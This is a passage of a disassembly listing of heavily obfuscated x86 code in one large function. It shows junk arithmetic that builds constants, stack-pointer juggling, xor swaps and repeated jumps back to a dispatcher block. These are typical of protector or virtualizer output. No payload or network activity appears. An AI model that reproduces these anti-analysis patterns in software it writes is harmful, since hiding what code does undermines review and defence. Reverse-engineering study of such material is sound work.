loc_5C0C2E:				; CODE XREF: sub_5A55E5+2ACF9j
		shl	esi, 7
		push	edx
		mov	edx, 28936D66h
		add	edx, 29066751h
		jmp	loc_5D33DF
; ---------------------------------------------------------------------------


loc_5C0C42:				; CODE XREF: sub_5A55E5+1CB47j
		add	ecx, esi
		sub	esp, 4
		jmp	loc_5C91AD
; ---------------------------------------------------------------------------


loc_5C0C4F:				; CODE XREF: sub_5A55E5+1C9FAj
		mov	[esp+9Ah+var_9C+2], ebp
		mov	ebp, 4C312DBBh
		shl	ebp, 3
		sub	ebp, 61896DD4h
		sub	ecx, 7B37383h
		add	ecx, ebp
		add	ecx, 7B37383h
		pop	ebp
		push	5BAEh
		jmp	loc_5C3A08
; ---------------------------------------------------------------------------


loc_5C0C79:				; CODE XREF: sub_5A55E5+2B673j
		pop	di
		add	ax, bx
		pop	ebx
		pop	ebx
		jmp	loc_5C57D5
; ---------------------------------------------------------------------------


loc_5C0C85:				; CODE XREF: sub_5A55E5+2E229j
		pop	esi
		jmp	loc_5C9C80
; ---------------------------------------------------------------------------


loc_5C0C8B:				; CODE XREF: sub_5A55E5+2677Aj
		mov	si, 0
		sub	si, bx
		jmp	loc_5C4A99
; ---------------------------------------------------------------------------


loc_5C0C97:				; CODE XREF: sub_5A55E5+2035Dj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8Ch+var_8C]
		pop	esp
		jmp	loc_5C42B3
; ---------------------------------------------------------------------------


loc_5C0CAB:				; CODE XREF: sub_5A55E5+1D4CFj
		pop	ecx
		add	edi, 57A500BEh
		jmp	loc_5D1094
; ---------------------------------------------------------------------------


loc_5C0CB7:				; CODE XREF: sub_5A55E5+20627j
		push	ebp
		jmp	loc_5C2B3C
; ---------------------------------------------------------------------------


loc_5C0CBD:				; CODE XREF: sub_5A55E5+24AB1j
		push	esi
		jmp	loc_5D3700
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+8Ch+var_8C]
		jmp	loc_5C6141
; ---------------------------------------------------------------------------


loc_5C0CCC:				; CODE XREF: sub_5A55E5+27AB7j
		push	edx
		jmp	loc_5C68FB
; ---------------------------------------------------------------------------


loc_5C0CD2:				; CODE XREF: sub_5A55E5+1BC99j
		push	ax
		mov	al, 57h
		sub	bl, al
		pop	ax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	0E2Ah
		mov	[esp+98h+var_98], edx
		push	ebp
		mov	ebp, 7AE6572Fh
		push	eax
		mov	eax, 0BACA0186h
		mov	edx, eax
		pop	eax
		add	edx, ebp
		mov	ebp, [esp+9Ch+var_9C]
		add	esp, 4
		jmp	loc_5C51E2
; ---------------------------------------------------------------------------


loc_5C0D04:				; CODE XREF: sub_5A55E5+22529j
		push	edi
		jmp	loc_5D0846
; ---------------------------------------------------------------------------


loc_5C0D0A:				; CODE XREF: sub_5A55E5+2C76Aj
		shl	eax, 2
		jmp	loc_5C1EF4
; ---------------------------------------------------------------------------


loc_5C0D12:				; CODE XREF: sub_5A55E5+1EA36j
		pop	esi
		add	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp+98h+var_98]
		add	esp, 4
		xchg	ebx, [esp+94h+var_94]
		mov	esp, [esp+94h+var_94]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C0D2F:				; CODE XREF: sub_5A55E5+25EDCj
		shr	edx, 3
		sub	esp, 4
		mov	[esp+98h+var_98], edi
		mov	edi, 31344BEAh
		jmp	loc_5D3355
; ---------------------------------------------------------------------------


loc_5C0D42:				; CODE XREF: sub_5A55E5+21AE8j
		mov	eax, 2DC41332h
		neg	eax
		jmp	loc_5CFF2E
; ---------------------------------------------------------------------------


loc_5C0D4E:				; CODE XREF: sub_5A55E5+28966j
		add	esp, 4
		push	ebx
		push	eax
		push	ecx
		push	ebp
		push	21F02F69h
		pop	ebp
		jmp	loc_5CD184
; ---------------------------------------------------------------------------


loc_5C0D60:				; CODE XREF: sub_5A55E5+29575j
		xchg	ecx, [esp+0A4h+var_A4]
		jmp	loc_5CDFC3
; ---------------------------------------------------------------------------


loc_5C0D68:				; CODE XREF: sub_5A55E5+1E03Ej
		pop	edx
		jmp	loc_5D3720
; ---------------------------------------------------------------------------


loc_5C0D6E:				; CODE XREF: sub_5A55E5+2D8D4j
		or	ebp, 44E97860h
		push	ebx
		mov	ebx, 6510725Dh
		shr	ebx, 5
		dec	ebx
		push	esi
		mov	esi, 350A310Eh
		jmp	loc_5C724B
; ---------------------------------------------------------------------------


loc_5C0D89:				; CODE XREF: sub_5A55E5+1ECC0j
		mov	bh, 64h
		mov	dl, bh
		mov	ebx, [esp+0A8h+var_A8]
		add	esp, 4
		add	al, dl
		jmp	loc_5D18CD
; ---------------------------------------------------------------------------


loc_5C0D9D:				; CODE XREF: sub_5A55E5+256FDj
		push	ebp
		jmp	loc_5C9835
; ---------------------------------------------------------------------------


loc_5C0DA3:				; CODE XREF: sub_5A55E5+27392j
		push	5A7C6174h
		pop	ecx
		jmp	loc_5C911A
; ---------------------------------------------------------------------------


loc_5C0DAE:				; CODE XREF: sub_5A55E5+1BD66j
		sub	esp, 4
		jmp	loc_5C8CEE
; ---------------------------------------------------------------------------


loc_5C0DB9:				; CODE XREF: sub_5A55E5+213C8j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0ACh+var_AC]
		pop	esp
		pop	[esp+0A8h+var_A8]
		mov	esp, [esp+0A4h+var_A4]
		add	esp, 4
		or	[esp+0A0h+var_A0], eax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C0DDE:				; CODE XREF: sub_5A55E5+280A4j
		push	[esp+0A4h+var_A4]
		mov	eax, [esp+0A8h+var_A8]
		jmp	loc_5CB337
; ---------------------------------------------------------------------------


loc_5C0DE9:				; CODE XREF: sub_5A55E5+2EA83j
		xor	edx, 7EF55A5Fh
		push	eax
		mov	eax, 96F65A83h
		sub	edx, 57A85F82h
		sub	edx, eax
		jmp	loc_5C8250
; ---------------------------------------------------------------------------


loc_5C0E02:				; CODE XREF: sub_5A55E5+2143Cj
		pop	ecx
		add	ebp, eax
		jmp	loc_5CA8F1
; ---------------------------------------------------------------------------


loc_5C0E0A:				; CODE XREF: sub_5A55E5+1FC9Bj
		dec	dl
		not	dl
		sub	dl, 0F1h
		add	al, dl
		pop	edx
		sub	al, 1Fh
		pop	ebx
		jmp	loc_5CBFA7
; ---------------------------------------------------------------------------


loc_5C0E1C:				; CODE XREF: sub_5A55E5+2DE77j
		pop	ebx
		sub	esi, 23440CBCh
		add	eax, esi
		pop	esi
		jmp	loc_5CF549
; ---------------------------------------------------------------------------


loc_5C0E2B:				; CODE XREF: sub_5A55E5+2C3DCj
		sub	ebx, edi
		pop	edi
		pop	eax
		xor	ebx, [esp+90h+var_90]
		xor	[esp+90h+var_90], ebx
		jmp	loc_5C4915
; ---------------------------------------------------------------------------


loc_5C0E3A:				; CODE XREF: sub_5A55E5+1FA6Aj
		mov	[esp+90h+var_90], ebx
		mov	ebx, esp
		jmp	loc_5C7BC6
; ---------------------------------------------------------------------------


loc_5C0E44:				; CODE XREF: sub_5A55E5+2980Cj
		sub	ebp, 188127DCh
		shr	ebp, 6
		neg	ebp
		and	ebp, 3F226A8Dh
		shl	ebp, 7
		jmp	loc_5C7A55
; ---------------------------------------------------------------------------


loc_5C0E5D:				; CODE XREF: sub_5A55E5+1F0CCj
		push	edi
		jmp	loc_5CDA60
; ---------------------------------------------------------------------------


loc_5C0E63:				; CODE XREF: sub_5A55E5+1A88Cj
		sub	edi, 68191A09h
		xor	edi, 115A793Ah
		jmp	loc_5C7996
; ---------------------------------------------------------------------------


loc_5C0E74:				; CODE XREF: sub_5A55E5+25622j
		add	ebp, 4
		xchg	ebp, [esp+84h+var_84]
		pop	esp
		xor	ecx, edx
		push	[esp+80h+var_80]
		mov	edx, [esp+84h+var_84]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+88h+var_88]
		pop	esp
		jmp	loc_5D0AA2
; ---------------------------------------------------------------------------


loc_5C0E98:				; CODE XREF: sub_5A55E5+2BB46j
		pop	ebp
		push	esi
		push	edi
		push	ecx
		mov	ecx, 0B12845h
		shr	ecx, 6
		sub	ecx, 97E4B174h
		mov	edi, ecx
		pop	ecx
		push	eax
		mov	eax, 48E73AFEh
		or	edi, eax
		pop	eax
		sub	edi, 38960EBh
		sub	edi, 6575DB12h
		mov	esi, edi
		pop	edi
		jmp	loc_5C9AB3
; ---------------------------------------------------------------------------


loc_5C0ECA:				; CODE XREF: sub_5A55E5+1AC89j
		mov	ecx, 2
		jmp	loc_5D1E6A
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+88h+var_88]
		push	ebp
		jmp	loc_5D0972
; ---------------------------------------------------------------------------


loc_5C0EDE:				; CODE XREF: sub_5A55E5+25B5Aj
		push	edi
		sub	esp, 4
		mov	[esp+94h+var_94], ecx
		mov	ecx, 2A4D509Ah
		xor	ecx, 1FDD1716h
		dec	ecx
		xor	ecx, 62AA0D33h
		xor	ecx, 191F0442h
		mov	edi, ecx
		pop	ecx
		mov	ebx, edi
		mov	edi, [esp+90h+var_90]
		add	esp, 4
		or	edx, ebx
		jmp	loc_5D019F
; ---------------------------------------------------------------------------


loc_5C0F15:				; CODE XREF: sub_5A55E5+2B4FBj
		push	esi
		jmp	loc_5CE299
; ---------------------------------------------------------------------------


loc_5C0F1B:				; CODE XREF: sub_5A55E5+24FD5j
		push	6930h
		mov	[esp+94h+var_94], ebp
		mov	ebp, 432B3554h
		add	ebp, 0FFFFFFFFh
		xchg	ecx, ebp
		not	ecx
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		jmp	loc_5C600A
; ---------------------------------------------------------------------------


loc_5C0F3D:				; CODE XREF: sub_5A55E5+2C1CFj
		xor	edx, [esp+94h+var_94]
		xor	[esp+94h+var_94], edx
		jmp	loc_5CE5F3
; ---------------------------------------------------------------------------


loc_5C0F48:				; CODE XREF: sub_5A55E5+20758j
		xor	esi, [esp+94h+var_94]
		xor	[esp+94h+var_94], esi
		xor	esi, [esp+94h+var_94]
		jmp	loc_5CF3DD
; ---------------------------------------------------------------------------


loc_5C0F56:				; CODE XREF: sub_5A55E5+228BEj
		pop	esi
		push	eax
		push	edi
		mov	edi, 14E85DE9h
		jmp	loc_5CD2B4
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, 49D21B8Dh
		not	ebx
		not	ebx
		jmp	loc_5CE42D
; ---------------------------------------------------------------------------


loc_5C0F72:				; CODE XREF: sub_5A55E5+2809Bj
		add	edi, esi
		jmp	loc_5CFA56
; ---------------------------------------------------------------------------


loc_5C0F79:				; CODE XREF: sub_5A55E5+23D7Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		push	2C0Ch
		mov	[esp+0A4h+var_A4], ebx
		jmp	loc_5C919A
; ---------------------------------------------------------------------------


loc_5C0F8F:				; CODE XREF: sub_5A55E5+2AA97j
		push	ebx
		push	eax
		mov	eax, 30890791h
		shl	eax, 5
		add	eax, 0EEDF0DE4h
		jmp	loc_5CFE50
; ---------------------------------------------------------------------------


loc_5C0FA3:				; CODE XREF: sub_5A55E5+2B191j
		not	edi
		xor	edi, 2A84A0FDh
		add	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 0AC02F90h
		sub	eax, ebx
		jmp	loc_5C7A04
; ---------------------------------------------------------------------------


loc_5C0FBB:				; CODE XREF: sub_5A55E5+1D12Cj
		shr	ecx, 8
		sub	ecx, 1CC1B56h
		xchg	eax, ecx
		dec	eax
		jmp	loc_5C5FE7
; ---------------------------------------------------------------------------


loc_5C0FCB:				; CODE XREF: sub_5A55E5+24D79j
		pop	eax
		mov	ebx, 0E1529AECh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5C5B1B
; ---------------------------------------------------------------------------


loc_5C0FD9:				; CODE XREF: sub_5A55E5+20DB2j
		push	[esp+0A4h+var_A0]
		pop	ebp
		pop	[esp+0A4h+var_A4]
		pop	esp
		jmp	loc_5C0233
; ---------------------------------------------------------------------------


loc_5C0FE7:				; CODE XREF: sub_5A55E5+21ED7j
		btr	word ptr [esp+9Ch+var_9C], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C0FF2:				; CODE XREF: sub_5A55E5+22BFCj
		sub	ebp, 376A1524h
		push	6DAh
		mov	[esp+0A4h+var_A4], ebp
		jmp	loc_5C74B4
; ---------------------------------------------------------------------------


loc_5C1005:				; CODE XREF: sub_5A55E5+2B65Bj
		pop	edx
		push	edi
		push	ecx
		push	57EB2D85h
		pop	ecx
		sub	ecx, 3D2BE0B0h
		mov	edi, ecx
		pop	ecx
		sub	ecx, edi
		pop	edi
		add	ecx, 207867B1h
		add	ecx, edi
		sub	ecx, 207867B1h
		jmp	loc_5CFBF4
; ---------------------------------------------------------------------------


loc_5C102D:				; CODE XREF: sub_5A55E5+1E1C9j
		push	40A1h
		jmp	loc_5C34D5
; ---------------------------------------------------------------------------


loc_5C1037:				; CODE XREF: sub_5A55E5+1B54Dj
		xchg	edi, [esp+92h+var_94+2]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		push	41F13A78h
		pop	ecx
		xor	ecx, 42AA1630h
		jmp	loc_5C5A54
; ---------------------------------------------------------------------------


loc_5C1050:				; CODE XREF: sub_5A55E5+2535Fj
		push	eax
		mov	eax, 15FA4925h
		sub	eax, 1AC034E2h
		neg	eax
		xor	eax, 4C5EBB9h
		add	esi, eax
		pop	eax
		jmp	loc_5CF13F
; ---------------------------------------------------------------------------


loc_5C106A:				; CODE XREF: sub_5A55E5+29C88j
		xor	ah, bl
		xor	bl, ah
		xor	ah, bl
		push	cx
		mov	ch, ah
		jmp	loc_5CE76E
; ---------------------------------------------------------------------------


loc_5C1079:				; CODE XREF: sub_5A55E5+289CCj
		pop	esi
		push	esi
		push	esp
		push	[esp+9Ch+var_9C]
		pop	esi
		jmp	loc_5CA8F8
; ---------------------------------------------------------------------------


loc_5C1085:				; CODE XREF: sub_5A55E5+1A9B2j
		pop	edi
		jmp	loc_5D0797
; ---------------------------------------------------------------------------


loc_5C108B:				; CODE XREF: sub_5A55E5+251E5j
		add	ebp, 4
		xchg	ebp, [esp+84h+var_84]
		pop	esp
		xor	di, 0DE0Ah
		sub	dx, 2CCh
		add	dx, di
		push	ebp
		push	ebx
		mov	bx, 982h
		jmp	loc_5C4B1F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	[esp+8Ch+var_8C]
		mov	eax, [esp+90h+var_90]
		jmp	loc_5BFEE4
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+90h+var_90]
		jmp	loc_5D3785
; ---------------------------------------------------------------------------


loc_5C10C1:				; CODE XREF: sub_5A55E5+23F35j
		pop	ebp
		mov	edi, 6D6D7862h
		xor	edi, edx
		jmp	loc_5C24B4
; ---------------------------------------------------------------------------


loc_5C10CE:				; CODE XREF: sub_5A55E5+1C675j
		mov	edi, 47B27CF5h
		push	edx
		jmp	loc_5CEAA1
; ---------------------------------------------------------------------------


loc_5C10D9:				; CODE XREF: sub_5A55E5+2C109j
		xchg	esi, [esp+90h+var_90]
		pop	esp
		mov	[esp+8Ch+var_8C], ebp
		push	[esp+8Ch+var_88]
		mov	ebp, [esp+90h+var_90]
		add	esp, 4
		pop	[esp+8Ch+var_8C]
		mov	esp, [esp+88h+var_88]
		btc	word ptr [esp+88h+var_88], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C10FB:				; CODE XREF: sub_5A55E5+25029j
		mov	[esp+8Ch+var_8C], esi
		push	1942h
		jmp	loc_5CB8C3
; ---------------------------------------------------------------------------


loc_5C1108:				; CODE XREF: sub_5A55E5+294E1j
		push	ebp
		mov	ebp, 1DB14B1Ch
		push	ebp
		inc	[esp+98h+var_98]
		pop	ebp
		sub	ebp, 3B4B7278h
		shl	ebp, 3
		shl	ebp, 7
		and	ebp, 5D4564E3h
		add	ebp, 346D4B96h
		add	ebx, 68534566h
		sub	ebx, ebp
		sub	ebx, 68534566h
		pop	ebp
		pop	edi
		add	ebp, ebx
		pop	ebx
		pop	eax
		xor	ebp, [esp+84h+var_84]
		xor	[esp+84h+var_84], ebp
		xor	ebp, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]
		shl	byte ptr [esp+84h+var_84], cl
		pushf
		jmp	loc_5CCC23
; ---------------------------------------------------------------------------


loc_5C1154:				; CODE XREF: sub_5A55E5+29FFFj
		add	edi, 4
		jmp	loc_5CA0E6
; ---------------------------------------------------------------------------


loc_5C115F:				; CODE XREF: sub_5A55E5+1F505j
		mov	ebx, 433F0FF1h
		add	ebp, ebx
		jmp	loc_5D23CB
; ---------------------------------------------------------------------------


loc_5C116B:				; CODE XREF: sub_5A55E5+1FD5Cj
		pop	edx
		pop	eax
		xchg	ebp, [esp+80h+var_80]
		jmp	loc_5C93C3
; ---------------------------------------------------------------------------


loc_5C1175:				; CODE XREF: sub_5A55E5+2608Fj
		xor	ecx, 4E2B4173h
		add	esi, ecx
		pop	ecx
		jmp	loc_5C74D4
; ---------------------------------------------------------------------------


loc_5C1183:				; CODE XREF: sub_5A55E5+1FA62j
		xor	ebx, [esp+7Ch+var_7C]
		mov	esp, [esp+7Ch+var_7C]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C118E:				; CODE XREF: sub_5A55E5+1DA7Bj
		mov	[esp+7Ch+var_7C], eax
		mov	eax, 190D3ED1h
		xor	edi, eax
		pop	eax
		push	ebp
		mov	ebp, 0F6E2803Ch
		add	edi, 30413BF5h
		add	edi, ebp
		sub	edi, 30413BF5h
		pop	ebp
		add	ebp, 17F19FCh
		jmp	loc_5C2D96
; ---------------------------------------------------------------------------


loc_5C11B9:				; CODE XREF: sub_5A55E5+21D59j
		add	esp, 4
		push	ebx
		push	edx
		mov	edx, 9076DDAh
		jmp	loc_5CB72B
; ---------------------------------------------------------------------------


loc_5C11C8:				; CODE XREF: sub_5A55E5+1A7A8j
		mov	esi, 1C06F52h
		mov	ecx, 19A37BC0h
		sub	ecx, esi
		pop	esi
		jmp	loc_5D0A70
; ---------------------------------------------------------------------------


loc_5C11DA:				; CODE XREF: sub_5A55E5+23787j
		add	esi, 1A8F4C67h
		add	esi, 7812F38h
		add	esi, edi
		sub	esi, 7812F38h
		sub	esi, 1A8F4C67h
		jmp	loc_5C95A1
; ---------------------------------------------------------------------------


loc_5C11F9:				; CODE XREF: sub_5A55E5+1F14Bj
		push	8F5h
		mov	[esp+9Ah+var_9C+2], eax
		push	3EC5h
		mov	[esp+9Eh+var_A0+2], ebx
		pop	eax
		mov	ebx, [esp+9Ah+var_9C+2]
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], esi
		jmp	loc_5D00ED
; ---------------------------------------------------------------------------


loc_5C1218:				; CODE XREF: sub_5A55E5+2E2A8j
		push	ecx
		push	eax
		mov	eax, 230571C8h
		jmp	loc_5C4FF9
; ---------------------------------------------------------------------------


loc_5C1224:				; CODE XREF: sub_5A55E5+23348j
		push	edx
		jmp	loc_5C2A24
; ---------------------------------------------------------------------------


loc_5C122A:				; CODE XREF: sub_5A55E5+2055Dj
		sub	edi, 76C6397Eh
		sub	edi, edx
		push	ebp
		mov	ebp, 76C6397Eh
		add	edi, ebp
		pop	ebp
		pop	edx
		add	eax, edi
		jmp	loc_5C6C45
; ---------------------------------------------------------------------------


loc_5C1243:				; CODE XREF: sub_5A55E5+28EE7j
		push	284Ah
		mov	[esp+0AAh+var_AC+2], ecx
		push	ebp
		mov	ebp, 7AE6238Bh
		push	ebx
		jmp	loc_5C1E0F
; ---------------------------------------------------------------------------


loc_5C1257:				; CODE XREF: sub_5A55E5+29671j
		add	dl, 6Dh
		push	eax
		push	ecx
		jmp	loc_5CF213
; ---------------------------------------------------------------------------


loc_5C1261:				; CODE XREF: sub_5A55E5+2A771j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0BAh+var_BC+2]
		jmp	loc_5D1EDE
; ---------------------------------------------------------------------------


loc_5C1271:				; CODE XREF: sub_5A55E5+2C648j
		sub	bl, al
		sub	esp, 4
		mov	[esp+0BEh+var_C0+2], eax
		mov	al, 65h
		sub	bl, al
		pop	eax
		jmp	loc_5C0CD2
; ---------------------------------------------------------------------------


loc_5C1283:				; CODE XREF: sub_5A55E5+2B09Ej
		xor	cl, 7Eh
		add	cl, 99h
		sub	cl, 0E1h
		sub	al, cl
		pop	ecx
		push	bx
		mov	bh, 82h
		add	al, bh
		jmp	loc_5CB807
; ---------------------------------------------------------------------------


loc_5C129A:				; CODE XREF: sub_5A55E5+2079Bj
		sub	ebx, edx
		jmp	loc_5CE849
; ---------------------------------------------------------------------------


loc_5C12A1:				; CODE XREF: sub_5A55E5+24480j
		push	esp
		mov	ebx, [esp+0BCh+var_BC]
		add	esp, 4
		push	edi
		push	24FAh
		mov	[esp+0C0h+var_C0], ebx
		mov	ebx, 32054347h
		mov	edi, ebx
		pop	ebx
		sub	edi, 32054343h
		add	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		sub	ebx, 50F22534h
		sub	ebx, ecx
		add	ebx, 50F22534h
		mov	ecx, [esp+0BCh+var_BC]
		push	3E98h
		jmp	loc_5CBEC0
; ---------------------------------------------------------------------------


loc_5C12E3:				; CODE XREF: sub_5A55E5+2A1BDj
		xchg	ebp, edi
		not	ebp
		xchg	ebp, edi
		shr	edi, 8
		sub	edi, 0A5D5B7h
		jmp	loc_5C90FD
; ---------------------------------------------------------------------------


loc_5C12F7:				; CODE XREF: sub_5A55E5+2B26Cj
		add	esp, 4
		add	esi, eax
		sub	esi, 2EED221Ah
		jmp	loc_5C4B6F
; ---------------------------------------------------------------------------


loc_5C130A:				; CODE XREF: sub_5A55E5+1D659j
		push	esp
		jmp	loc_5D0F2B
; ---------------------------------------------------------------------------


loc_5C1310:				; CODE XREF: sub_5A55E5+21E47j
		sub	ecx, 1230CB2h
		mov	edx, [esp+0C0h+var_C0]
		push	edi
		jmp	loc_5D3986
; ---------------------------------------------------------------------------


loc_5C131F:				; CODE XREF: sub_5A55E5+257A7j
		add	edi, 738B7584h
		jmp	loc_5D1FB3
; ---------------------------------------------------------------------------


loc_5C132A:				; CODE XREF: sub_5A55E5+27F42j
		push	12AF2390h
		push	[esp+0C8h+var_C8]
		jmp	loc_5C34BD
; ---------------------------------------------------------------------------


loc_5C1337:				; CODE XREF: sub_5A55E5+2B145j
		add	ebx, ebp
		pop	ebp
		jmp	loc_5D0580
; ---------------------------------------------------------------------------


loc_5C133F:				; CODE XREF: sub_5A55E5+2DABEj
		pop	ecx
		jmp	loc_5C2AEA
; ---------------------------------------------------------------------------


loc_5C1345:				; CODE XREF: sub_5A55E5+24F8Bj
		pop	[esp+0C4h+var_C4]
		mov	esp, [esp+0C0h+var_C0]
		jmp	loc_5C0DAE
; ---------------------------------------------------------------------------


loc_5C1350:				; CODE XREF: sub_5A55E5+1EAF9j
		add	ebx, ebp
		jmp	loc_5C8556
; ---------------------------------------------------------------------------


loc_5C1357:				; CODE XREF: sub_5A55E5+1D3E6j
		add	edx, 4
		xchg	edx, [esp+0C0h+var_C0]
		pop	esp
		jmp	loc_5C7AFB
; ---------------------------------------------------------------------------
		push	[esp+0BCh+var_BC]
		pop	ecx
		push	50A2h
		mov	[esp+0C0h+var_C0], esi
		jmp	loc_5D1B91
; ---------------------------------------------------------------------------


loc_5C1377:				; CODE XREF: sub_5A55E5+1E748j
		xor	[esp+0C0h+var_C0], 11CF1611h
		push	[esp+0C0h+var_C0]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_5C92B8
; ---------------------------------------------------------------------------


loc_5C138A:				; CODE XREF: sub_5A55E5+1C5B0j
		mov	[esp+0C4h+var_C4], ecx
		push	edx
		mov	edx, 47D7297Bh
		jmp	loc_5D0015
; ---------------------------------------------------------------------------


loc_5C1398:				; CODE XREF: sub_5A55E5+27C5Fj
		push	6DBDh
		mov	[esp+0CCh+var_CC], eax
		push	4548h
		mov	[esp+0D0h+var_D0], edi
		mov	edi, 1FA1855h
		mov	eax, edi
		jmp	loc_5CBD64
; ---------------------------------------------------------------------------


loc_5C13B4:				; CODE XREF: sub_5A55E5+1B186j
		push	61040F6Dh
		pop	eax
		add	eax, 6E784FACh
		jmp	loc_5CF608
; ---------------------------------------------------------------------------


loc_5C13C4:				; CODE XREF: sub_5A55E5+291A7j
		mov	word ptr [esp+7Ch+var_7C], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5C9146
; ---------------------------------------------------------------------------


loc_5C13D4:				; CODE XREF: sub_5A55E5+21EF4j
		mov	[esp+82h+var_84+2], eax
		mov	eax, 2
		add	esi, 60A90BE5h
		add	esi, eax
		sub	esi, 60A90BE5h
		mov	eax, [esp+82h+var_84+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+82h+var_84+2], esi
		jmp	loc_5C47A2
; ---------------------------------------------------------------------------


loc_5C13FE:				; CODE XREF: sub_5A55E5+29B2Bj
		mov	eax, 39744877h
		mov	ebp, 590B314Bh
		xor	ebp, eax
		jmp	loc_5D0302
; ---------------------------------------------------------------------------


loc_5C140F:				; CODE XREF: sub_5A55E5+2C2BDj
		xor	eax, 0CFA0C8Dh
		sub	eax, 15873331h
		sub	eax, 15D60C45h
		add	eax, 7AF41103h
		sub	eax, 55267246h
		push	ebp
		jmp	loc_5D376B
; ---------------------------------------------------------------------------


loc_5C142E:				; CODE XREF: sub_5A55E5+2BBDEj
		mov	edi, 4E977740h
		jmp	loc_5CF949
; ---------------------------------------------------------------------------


loc_5C1438:				; CODE XREF: sub_5A55E5+244DAj
		add	edi, esi
		sub	edi, 501E6998h
		push	3F73h
		mov	[esp+8Ah+var_8C+2], edx
		mov	edx, 7F597601h
		not	edx
		shl	edx, 3
		and	edx, 1A77F41h
		not	edx
		sub	edx, 946A84D2h
		shr	edx, 8
		jmp	loc_5C6042
; ---------------------------------------------------------------------------


loc_5C1468:				; CODE XREF: sub_5A55E5+23B41j
		mov	ecx, esp
		jmp	loc_5CBF56
; ---------------------------------------------------------------------------


loc_5C146F:				; CODE XREF: sub_5A55E5+1DA82j
		pop	eax
		push	edi
		mov	edi, 2
		push	56DCh
		mov	[esp+8Eh+var_90+2], esi
		mov	esi, 6EAB4BCEh
		jmp	loc_5C6B40
; ---------------------------------------------------------------------------


loc_5C1488:				; CODE XREF: sub_5A55E5+20FFAj
		add	esi, 6939658Fh
		add	esi, 5D4B7974h
		pop	ebx
		push	ecx
		push	5A977F6Eh
		pop	ecx
		jmp	loc_5D2F85
; ---------------------------------------------------------------------------


loc_5C14A1:				; CODE XREF: sub_5A55E5+1EFFCj
		push	eax
		mov	al, 57h
		jmp	loc_5C6CD7
; ---------------------------------------------------------------------------


loc_5C14A9:				; CODE XREF: sub_5A55E5+22A6Aj
		add	ebp, esi
		jmp	loc_5CD96A
; ---------------------------------------------------------------------------


loc_5C14B0:				; CODE XREF: sub_5A55E5+20E89j
		mov	esi, ecx
		pop	ecx
		jmp	loc_5C90ED
; ---------------------------------------------------------------------------


loc_5C14B8:				; CODE XREF: sub_5A55E5+1A2FDj
		and	esi, 1BF536C8h
		inc	esi
		jmp	loc_5C0963
; ---------------------------------------------------------------------------


loc_5C14C4:				; CODE XREF: sub_5A55E5+20711j
		mov	edi, [esp+5Ch+var_5C]
		add	esp, 4
		xor	ecx, [esp+58h+var_58]
		xor	[esp+58h+var_58], ecx
		xor	ecx, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		jmp	loc_5C0591
; ---------------------------------------------------------------------------


loc_5C14DE:				; CODE XREF: sub_5A55E5+28CD2j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+58h+var_58]
		pop	esp
		push	ebx
		push	edx
		mov	edx, 7ABA1629h
		push	esi
		mov	esi, 59695CA1h
		jmp	loc_5C65FA
; ---------------------------------------------------------------------------


loc_5C1500:				; CODE XREF: sub_5A55E5+23CC3j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+5Ch+var_5C]
		pop	esp
		inc	ebp
		push	0
		sub	[esp+5Ch+var_5C], 6D050F0Ch
		sub	[esp+5Ch+var_5C], ebp
		add	[esp+5Ch+var_5C], 6D050F0Ch
		mov	ebp, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_5C9DFC
; ---------------------------------------------------------------------------


loc_5C1533:				; CODE XREF: sub_5A55E5+25A95j
		mov	eax, 25E93217h
		add	ebx, eax
		pop	eax
		add	ebx, eax
		sub	ebx, 25E93217h
		add	ebx, 7E93288Fh
		pop	eax
		add	ebx, 2
		jmp	loc_5C5E30
; ---------------------------------------------------------------------------


loc_5C1555:				; CODE XREF: sub_5A55E5+1DE35j
		sub	edx, 4
		xor	edx, [esp+50h+var_50]
		xor	[esp+50h+var_50], edx
		xor	edx, [esp+50h+var_50]
		pop	esp
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xor	ebx, [esp+48h+var_4A+2]
		xor	[esp+48h+var_4A+2], ebx
		xor	ebx, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_46+2], edx
		mov	edx, 352E1643h
		jmp	loc_5C8C19
; ---------------------------------------------------------------------------


loc_5C1599:				; CODE XREF: sub_5A55E5+2853Bj
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_5CA65E
; ---------------------------------------------------------------------------


loc_5C15A5:				; CODE XREF: sub_5A55E5+28E43j
		mov	edi, esp
